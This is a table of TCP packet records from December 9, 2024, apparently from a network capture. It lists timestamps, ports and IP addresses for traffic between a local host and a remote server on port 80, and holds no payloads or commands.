Dec 9, 2024 15:29:01.399337053 CET	443	49703	23.1.237.91	192.168.2.5
Dec 9, 2024 15:29:01.399420023 CET	49703	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:29:01.482414007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.602566957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.925796986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.925818920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.925915003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.928014994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.928040981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.928083897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.928105116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.936300993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.936317921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.936356068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.936378956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.945808887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.945823908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.945892096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.952208996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.952280998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.952510118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.952558041 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:01.960474014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:01.960541010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.054035902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.054136038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.054397106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.054445982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.058047056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.058135033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.058876991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.058940887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.059266090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.059320927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.068156958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.068248034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.068658113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.068823099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.076917887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.076988935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.077156067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.077203035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.084382057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.084482908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.084670067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.084728003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.092792034 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.092873096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.116799116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.117005110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.117296934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.117358923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.120691061 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.120762110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.121140957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.121195078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.129141092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.129199982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.129477978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.129529953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.137146950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.137234926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.137550116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.137597084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.145528078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.145591021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.145911932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.145962954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.153949976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.154017925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.154325008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.154377937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.162353039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.162431002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.183623075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.183701038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.184216022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.184261084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.187583923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.187634945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.187926054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.187967062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.195358038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.195554972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.195744991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.195801020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.202955961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.203022957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.246016979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.246145964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.246428013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.246475935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.248049974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.248116970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.248430014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.248475075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.255193949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.255268097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.255609989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.255650043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.262100935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.262171030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.262475967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.262521982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.269254923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.269325018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.269546032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.269584894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.275782108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.275862932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.276078939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.276128054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.281770945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.281821966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.282288074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.282335043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.287772894 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.287828922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.288134098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.288289070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.293440104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.293497086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.293951035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.293994904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.299166918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.299217939 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.299568892 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.299614906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.304696083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.304745913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.308789968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.308841944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.309245110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.309288979 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.311120987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.311172009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.311532021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.311578989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.315114021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.315172911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.315534115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.315577984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.319226027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.319273949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.319638014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.319683075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.322796106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.322844982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.323184013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.323230028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.326152086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.326198101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.326492071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.326582909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.329644918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.329699993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.330149889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.330197096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.333323956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.333378077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.333837986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.333888054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.337007046 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.337060928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.337414026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.337461948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.340734005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.340787888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.341187954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.341233015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.344432116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.344490051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.344929934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.344986916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.348020077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.348095894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.348423958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.348479986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.381705046 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.381841898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.382042885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.382095098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.383480072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.383537054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.383888006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.383939981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.387141943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.387209892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.388451099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.388505936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.388851881 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.388919115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.392273903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.392328978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.392602921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.392649889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.437999010 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.438107967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.438318014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.438369989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.438884974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.438929081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.439344883 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.439394951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.440593958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.440639019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.441004992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.441049099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.443644047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.443691015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.444052935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.444098949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.446672916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.446727037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.447119951 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.447168112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.449525118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.449577093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.450311899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.450357914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.452579021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.452625990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.452908993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.452955008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.455182076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.455245018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.455589056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.455635071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.458122969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.458178043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.458580971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.458642006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.460532904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.460582972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.460860014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.460906982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.463816881 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.463867903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.464104891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.464154005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.465296984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.465346098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.465584040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.465631962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.467710972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.467762947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.468028069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.468075037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.470077038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.470138073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.470388889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.470433950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.472322941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.472369909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.472734928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.472784996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.475038052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.475091934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.475423098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.475471020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.476921082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.476974010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.477385044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.477432966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.501322985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.501393080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.501687050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.501744032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.502460957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.502511978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.503227949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.503278017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.504647970 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.504707098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.505606890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.505667925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.505908966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.505954027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.507816076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.507869005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.508163929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.508215904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.509975910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.510031939 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.510442019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.510489941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.512110949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.512161016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.512427092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.512470961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.513938904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.513983011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.514384031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.514471054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.515918016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.515997887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.516339064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.516392946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.518016100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.518081903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.518349886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.518399000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.520137072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.520188093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.520499945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.520554066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.521933079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.521980047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.522337914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.522391081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.523910999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.523977041 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.524346113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.524393082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.526042938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.526093960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.526410103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.526463032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.527995110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.528045893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.528289080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.528336048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.529927015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.529989958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.530241966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.530291080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.531863928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.531919003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.532255888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.532329082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.533793926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.533845901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.534220934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.534270048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.535873890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.535932064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.536261082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.536319017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:02.537803888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:02.537861109 CET	49704	80	192.168.2.5	185.215.113.206
